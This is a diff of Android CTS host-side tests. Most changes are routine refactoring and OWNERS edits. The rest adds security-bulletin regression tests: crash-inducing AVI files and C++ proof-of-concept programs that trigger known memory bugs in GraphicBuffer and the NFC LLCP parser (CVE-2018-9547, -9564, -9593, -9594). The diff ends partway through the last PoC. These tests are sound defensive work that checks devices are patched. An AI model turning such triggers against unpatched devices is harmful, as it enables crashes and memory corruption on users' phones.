diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index f69cbaaf04e..fa044aded41 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -185,7 +185,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
private static final int PERMISSION_GRANT_STATE_GRANTED = 1;
private static final int PERMISSION_GRANT_STATE_DENIED = 2;
private static final String PARAM_APP_TO_ENABLE = "app_to_enable";
- public static final String RESOLVE_ACTIVITY_CMD = "cmd package resolve-activity --brief %s | tail -n 1";
+ public static final String RESOLVE_ACTIVITY_CMD = "cmd package resolve-activity --brief --user %d %s | tail -n 1";
private static final String NOT_CALLED_FROM_PARENT = "notCalledFromParent";
@@ -1723,7 +1723,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
final List<String> enabledSystemPackageNames = getEnabledSystemPackageNames();
for (String enabledSystemPackage : enabledSystemPackageNames) {
final String result = getDevice().executeShellCommand(
- String.format(RESOLVE_ACTIVITY_CMD, enabledSystemPackage));
+ String.format(RESOLVE_ACTIVITY_CMD, mUserId, enabledSystemPackage));
if (!result.contains("No activity found")) {
return enabledSystemPackage;
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index 27897398a2a..d157fc0bed6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -167,6 +167,7 @@ public class QuietModeHostsideTest extends BaseDevicePolicyTest {
private void clearLogcat() throws DeviceNotAvailableException {
getDevice().executeAdbCommand("logcat", "-c");
+ getDevice().executeAdbCommand("logcat", "-G", "16M");
}
private void verifyBroadcastSent(String actionName, boolean needPermissions)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
index 7700140d829..dcafa40f729 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
@@ -24,4 +24,7 @@ java_library_host {
libs: [
"tradefed",
],
+ static_libs: [
+ "cts-statsd-atom-host-test-utils",
+ ],
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
index 5ab3ddb04c1..68e4934a268 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
@@ -15,7 +15,7 @@
*/
package com.android.cts.devicepolicy.metrics;
-import static junit.framework.Assert.assertTrue;
+import android.cts.statsdatom.lib.ReportUtils;
import com.android.internal.os.StatsdConfigProto.AtomMatcher;
import com.android.internal.os.StatsdConfigProto.EventMetric;
@@ -23,24 +23,22 @@ import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
import com.android.internal.os.StatsdConfigProto.StatsdConfig;
import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
import com.android.os.StatsLog.ConfigMetricsReportList;
import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsLogReport;
import com.android.tradefed.device.CollectingByteOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
+
import com.google.common.io.Files;
import com.google.protobuf.InvalidProtocolBufferException;
import com.google.protobuf.MessageLite;
import com.google.protobuf.Parser;
+
import java.io.File;
import java.util.ArrayList;
-import java.util.Comparator;
import java.util.List;
import java.util.function.Predicate;
-import java.util.stream.Collectors;
/**
* Tests Statsd atoms.
@@ -103,26 +101,7 @@ class AtomMetricTester {
*/
List<EventMetricData> getEventMetricDataList() throws Exception {
ConfigMetricsReportList reportList = getReportList();
- return getEventMetricDataList(reportList);
- }
-
- /**
- * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
- * contain a single report).
- */
- private List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
- throws Exception {
- assertTrue("Expected one report", reportList.getReportsCount() == 1);
- final ConfigMetricsReport report = reportList.getReports(0);
- final List<StatsLogReport> metricsList = report.getMetricsList();
- return metricsList.stream()
- .flatMap(statsLogReport -> statsLogReport.getEventMetrics().getDataList().stream())
- .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
- .peek(eventMetricData -> {
- CLog.d("Atom at " + eventMetricData.getElapsedTimestampNanos()
- + ":\n" + eventMetricData.getAtom().toString());
- })
- .collect(Collectors.toList());
+ return ReportUtils.getEventMetricDataList(reportList);
}
/** Gets the statsd report. Note that this also deletes that report from statsd. */
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
index 1f46b56fa6b..d6da4c36525 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -65,7 +65,9 @@ public final class HdmiCecStartupTest extends BaseHdmiCecCtsTest {
Arrays.asList(CecOperand.VENDOR_COMMAND, CecOperand.GIVE_DEVICE_VENDOR_ID,
CecOperand.SET_OSD_NAME, CecOperand.GIVE_OSD_NAME, CecOperand.CEC_VERSION,
CecOperand.DEVICE_VENDOR_ID, CecOperand.GIVE_POWER_STATUS,
- CecOperand.GET_MENU_LANGUAGE));
+ CecOperand.GET_MENU_LANGUAGE, CecOperand.ACTIVE_SOURCE,
+ CecOperand.REQUEST_ACTIVE_SOURCE, CecOperand.GIVE_PHYSICAL_ADDRESS,
+ CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS));
allowedMessages.addAll(expectedMessages);
device.executeShellCommand("reboot");
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
index c5f5b36e077..561b57578c0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
@@ -99,9 +99,6 @@ public final class HdmiCecDeviceOsdNameTest extends BaseHdmiCecCtsTest {
*/
@Test
public void cect_11_2_11_2_UnregisteredDeviceGiveOsdNameTest() throws Exception {
- hdmiCecClient.sendCecMessage(LogicalAddress.PLAYBACK_1, CecOperand.GIVE_OSD_NAME);
- hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.PLAYBACK_1,
- CecOperand.SET_OSD_NAME);
hdmiCecClient.sendCecMessage(LogicalAddress.BROADCAST, CecOperand.GIVE_OSD_NAME);
hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST,
CecOperand.SET_OSD_NAME);
diff --git a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
index ebb4191676f..3ff1bfeca2d 100644
--- a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
@@ -31,6 +31,7 @@ import android.service.usb.UsbSettingsDevicePreferenceProto;
import android.service.usb.UsbSettingsManagerProto;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
/**
* Tests for the UsbService proto dump.
@@ -51,7 +52,10 @@ public class UsbIncidentTest extends ProtoDumpTestCase {
public void testUsbServiceDump() throws Exception {
// Devices that don't support USB functionality won't dump a USB service proto.
- assumeTrue("Device doesn't support USB functionality.", hasUsbFunctionality(getDevice()));
+ if (!hasUsbFunctionality(getDevice())) {
+ CLog.i("Device doesn't support USB functionality.");
+ return;
+ }
final UsbServiceDumpProto dump = getDump(UsbServiceDumpProto.parser(),
"dumpsys usb --proto");
diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS
index 8a0e441590b..e72446f5035 100644
--- a/hostsidetests/media/OWNERS
+++ b/hostsidetests/media/OWNERS
@@ -1,13 +1,11 @@
# Bug component: 1344
elaurent@google.com
lajos@google.com
-marcone@google.com
sungsoo@google.com
jaewan@google.com
-# LON
-olly@google.com
-andrewlewis@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
# Media TV
nchalko@google.com
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
index 7dc17f49954..c0240dd7d4a 100644
--- a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -17,6 +17,7 @@ package android.media.cts;
import static com.google.common.truth.Truth.assertThat;
+import android.cts.statsdatom.lib.ReportUtils;
import android.stats.mediametrics_message.MediametricsMessage;
import com.android.internal.os.StatsdConfigProto;
@@ -162,12 +163,7 @@ public class MediaExtractorHostSideTest extends BaseMediaHostSideTest {
private MediametricsMessage.ExtractorData getMediaExtractorReportedData() throws Exception {
ConfigMetricsReportList reportList = getAndClearReportList();
assertThat(reportList.getReportsCount()).isEqualTo(1);
- StatsLog.ConfigMetricsReport report = reportList.getReports(0);
- ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
- report.getMetricsList()
- .forEach(
- statsLogReport ->
- data.addAll(statsLogReport.getEventMetrics().getDataList()));
+ List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(reportList);
List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
data.stream()
.map(element -> element.getAtom().getMediametricsExtractorReported())
diff --git a/hostsidetests/mediaparser/Android.bp b/hostsidetests/mediaparser/Android.bp
index 216b1c44864..98e8f8fafb7 100644
--- a/hostsidetests/mediaparser/Android.bp
+++ b/hostsidetests/mediaparser/Android.bp
@@ -36,6 +36,7 @@ java_test_host {
],
static_libs: [
"cts-host-utils",
+ "cts-statsd-atom-host-test-utils",
],
data: [
":CtsMediaParserTestCasesApp",
diff --git a/hostsidetests/mediaparser/OWNERS b/hostsidetests/mediaparser/OWNERS
index 51256bfc6a7..b91d177f4ac 100644
--- a/hostsidetests/mediaparser/OWNERS
+++ b/hostsidetests/mediaparser/OWNERS
@@ -1,5 +1,3 @@
# Bug component: 817235
-aquilescanta@google.com
-andrewlewis@google.com
-essick@google.com
-marcone@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
index 1e5c8569566..50bfa849556 100644
--- a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -18,6 +18,8 @@ package android.media.mediaparser.cts;
import static com.google.common.truth.Truth.assertThat;
+import android.cts.statsdatom.lib.ReportUtils;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.internal.os.StatsdConfigProto;
@@ -272,16 +274,8 @@ public class MediaParserHostSideTest extends DeviceTestCase implements IBuildRec
private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception {
ConfigMetricsReportList reportList = getAndClearReportList();
assertThat(reportList.getReportsCount()).isEqualTo(1);
- StatsLog.ConfigMetricsReport report = reportList.getReports(0);
- ArrayList<EventMetricData> data = new ArrayList<>();
- report.getMetricsList()
- .forEach(
- statsLogReport ->
- data.addAll(statsLogReport.getEventMetrics().getDataList()));
- // We sort the reported events by the elapsed timestamp so as to ensure they are returned
- // in the same order as they were generated by the CTS tests.
+ List<EventMetricData> data = ReportUtils.getEventMetricDataList(reportList);
return data.stream()
- .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
.map(event -> event.getAtom().getMediametricsMediaparserReported())
.collect(Collectors.toList());
}
diff --git a/hostsidetests/packagemanager/stats/.gitignore b/hostsidetests/packagemanager/stats/.gitignore
new file mode 120000
index 00000000000..b28cd146165
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/.gitignore
@@ -0,0 +1 @@
+../../../../tools/asuite/aidegen/data/gitignore_template \ No newline at end of file
diff --git a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
index 0fb546f5fe5..5f010fdaee3 100644
--- a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
+++ b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
@@ -48,6 +48,10 @@ public class InstalledIncrementalPackageStatsTests extends PackageManagerStatsTe
if (!DeviceUtils.hasFeature(getDevice(), FEATURE_INCREMENTAL_DELIVERY)) {
return;
}
+ // TODO(b/197784344): remove when the metrics supports multi-user
+ if (getDevice().isUserSecondary(getDevice().getCurrentUser())) {
+ return;
+ }
ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
AtomsProto.Atom.INSTALLED_INCREMENTAL_PACKAGE_FIELD_NUMBER);
installPackageUsingIncremental(new String[]{TEST_INSTALL_APK});
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
index 3c7da375c09..292b85ee31e 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
@@ -58,6 +58,7 @@ import com.android.cts.install.lib.TestApp;
import org.junit.AfterClass;
import org.junit.BeforeClass;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -275,6 +276,7 @@ public class RedactUriDeviceTest extends ScopedStorageBaseDeviceTest {
* redacted mode.
**/
@Test
+ @Ignore("Enable when b/194700183 is fixed")
public void testSharedRedactedUri_openFileForRead() throws Exception {
forceStopApp(APP_B_NO_PERMS.getPackageName());
final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS
index 28ce2a54e3b..5e566ca2fee 100644
--- a/hostsidetests/securitybulletin/OWNERS
+++ b/hostsidetests/securitybulletin/OWNERS
@@ -1,5 +1,5 @@
# Bug component: 36824
-mspector@google.com
-manjaepark@google.com
+musashi@google.com
cdombroski@google.com
lgallegos@google.com
+hubers@google.com
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi
new file mode 100644
index 00000000000..18edf22f8e1
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi
new file mode 100644
index 00000000000..12c77ef4c47
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi
new file mode 100644
index 00000000000..bc685eb0ab8
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi
new file mode 100644
index 00000000000..94916071321
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
new file mode 100644
index 00000000000..1ca3f7e2a1c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9547",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libui",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp
new file mode 100644
index 00000000000..7ec82f37f0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ui/GraphicBuffer.h>
+#include "../includes/memutils.h"
+
+int main() {
+ size_t size = sizeof(int) * 6;
+ int *tempBuffer = (int *)malloc(size);
+ if (!tempBuffer) {
+ return EXIT_FAILURE;
+ }
+ memset(tempBuffer, 0x0, size);
+ tempBuffer[0] = 'GB01';
+ void const *buffer = const_cast<void const *>((void *)tempBuffer);
+ int const fds[] = {0, 0};
+ size_t count = sizeof(fds) / sizeof(int);
+ int const *fd = const_cast<int const *>(fds);
+ android::GraphicBuffer *graphicBuffer = new android::GraphicBuffer();
+ graphicBuffer->unflatten(buffer, size, fd, count);
+ free(tempBuffer);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
new file mode 100644
index 00000000000..4af3fe41755
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9564",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp
new file mode 100644
index 00000000000..f85347599ab
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <llcp_api.h>
+
+#define DEFAULT_VALUE 0x02
+#define SIZE 16
+#define LENGTH 1
+
+extern bool llcp_util_parse_link_params(uint16_t length, uint8_t* p_bytes);
+
+int main() {
+ const int32_t offset = SIZE - LENGTH;
+ uint8_t* p_bytes = (uint8_t *)malloc(SIZE);
+ if (!p_bytes) {
+ return EXIT_FAILURE;
+ }
+ memset(p_bytes, DEFAULT_VALUE, SIZE);
+
+ llcp_util_parse_link_params(LENGTH, &p_bytes[offset]);
+
+ free(p_bytes);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
new file mode 100644
index 00000000000..68def73f5c6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9593",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp
new file mode 100644
index 00000000000..25b2fb6286f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include "llcp_int.h"
+
+#define SIZE 16
+#define LENGTH 1
+
+extern tLLCP_CB llcp_cb;
+void llcp_init(void);
+
+int main() {
+ GKI_init();
+ llcp_init();
+ uint8_t *p_i_pdu = (uint8_t *)malloc(SIZE);
+ if (!p_i_pdu) {
+ return EXIT_FAILURE;
+ }
+
+ llcp_cb.dlcb[0].state = LLCP_DLC_STATE_CONNECTED;
+ llcp_dlc_proc_i_pdu(llcp_cb.dlcb[0].local_sap, llcp_cb.dlcb[0].remote_sap, LENGTH,
+ &p_i_pdu[SIZE - LENGTH], nullptr);
+
+ free(p_i_pdu);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
new file mode 100644
index 00000000000..9d4946f8d22
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9594",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp
new file mode 100644
index 00000000000..4a5b163bfbf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <llcp_int.h>
+#include <nfc_int.h>
+
+extern tLLCP_CB llcp_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+void llcp_init(void);
+
+int main() {
+ GKI_init();
+ rw_init();
+ llcp_init();
+
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+ p_data->data.p_data = (NFC_HDR *)malloc(16400 * sizeof(uint8_t));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ if (!(nfc_cb.quick_timer_queue.p_first)) {
+ free(p_data);
+ free(p_data->data.p_data);
+ return EXIT_FAILURE;
+ }
+
+ uint8_t conn_id = 1;
+ llcp_cb.lcb.agreed_major_version = LLCP_MIN_SNL_MAJOR_VERSION;
+ llcp_cb.lcb.agreed_minor_version = LLCP_MIN_SNL_MINOR_VERSION;
+ llcp_cb.lcb.link_state = LLCP_LINK_STATE_ACTIVATED;
+ // Set llcp_cb.lcb.local_link_miu greater than p_msg->len
+ llcp_cb.lcb.local_link_miu = 16400;
+ llcp_cb.lcb.received_first_packet = true;
+ llcp_cb.lcb.symm_state = LLCP_LINK_SYMM_REMOTE_XMIT_NEXT;
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+ NFC_HDR *p_msg = (NFC_HDR *)(p_data->data.p_data);
+ // p_msg->len is calculated based on the total PDUs in AGF PDU
+ p_msg->len = 16395;
+ p_msg->offset = 0;
+ uint8_t *p = (uint8_t *)(p_msg + 1) + p_msg->offset;
+ // First 2 bytes are set to values so that call flow goes from llcp_link_proc_rx_data
+ // to llcp_link_proc_rx_pdu and then to llcp_link_proc_agf_pdu.
+ *p = 0x00;
+ *(p + 1) = 0x80;
+ // The following are trying to emulate PDUs in AGF PDU
+ *(p + 2) = 0x00;
+ *(p + 3) = 0x02;
+ *(p + 4) = 0x02;
+ *(p + 5) = 0x40;
+ *(p + 6) = 0x00;
